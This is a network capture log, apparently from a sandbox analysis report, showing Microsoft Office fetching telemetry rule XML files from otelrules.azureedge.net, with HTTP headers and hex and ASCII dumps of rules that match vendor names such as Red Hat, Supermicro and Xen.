2024-11-26 07:04:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:57 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: d3508ca6-601e-003d-4e91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070457Z-174f78459684bddphC1EWRbht40000000urg00000000bf41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:57 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.8	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:57 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:57 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070457Z-174f7845968l4kp6hC1EWRe8840000000vag000000006kxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:58 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.8	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:58 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:59 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070459Z-174f7845968qj8jrhC1EWRh41s0000000v2g00000000369g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:59 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.8	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:59 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:59 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070459Z-174f78459688l8rvhC1EWRtzr000000007pg000000006f6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:59 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.8	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:59 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:59 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070459Z-174f7845968zgtf6hC1EWRqd8s0000000mxg00000000dv4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:59 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.8	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:59 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070459Z-174f7845968vqt9xhC1EWRgten0000000v5g000000004dzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:00 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.8	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:59 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:00 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:00 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070500Z-174f7845968l4kp6hC1EWRe8840000000v8g00000000a66x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:05:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.8	49917	13.107.246.63	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:01 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070501Z-174f7845968cdxdrhC1EWRg0en0000000v3g000000002s71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.8	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:01 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070501Z-174f7845968l4kp6hC1EWRe8840000000vc0000000003yn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.8	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:01 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:01 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:01 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070501Z-174f7845968v75bwhC1EWRuqen0000000g1g00000000540r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 07:05:01 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.8	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:01 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070501Z-174f7845968zgtf6hC1EWRqd8s0000000myg00000000bdpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:02 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.8	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:02 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:05:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:05:02 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070502Z-174f7845968ljs8phC1EWRe6en0000000uyg000000004v61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:05:02 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.8	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:05:03 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
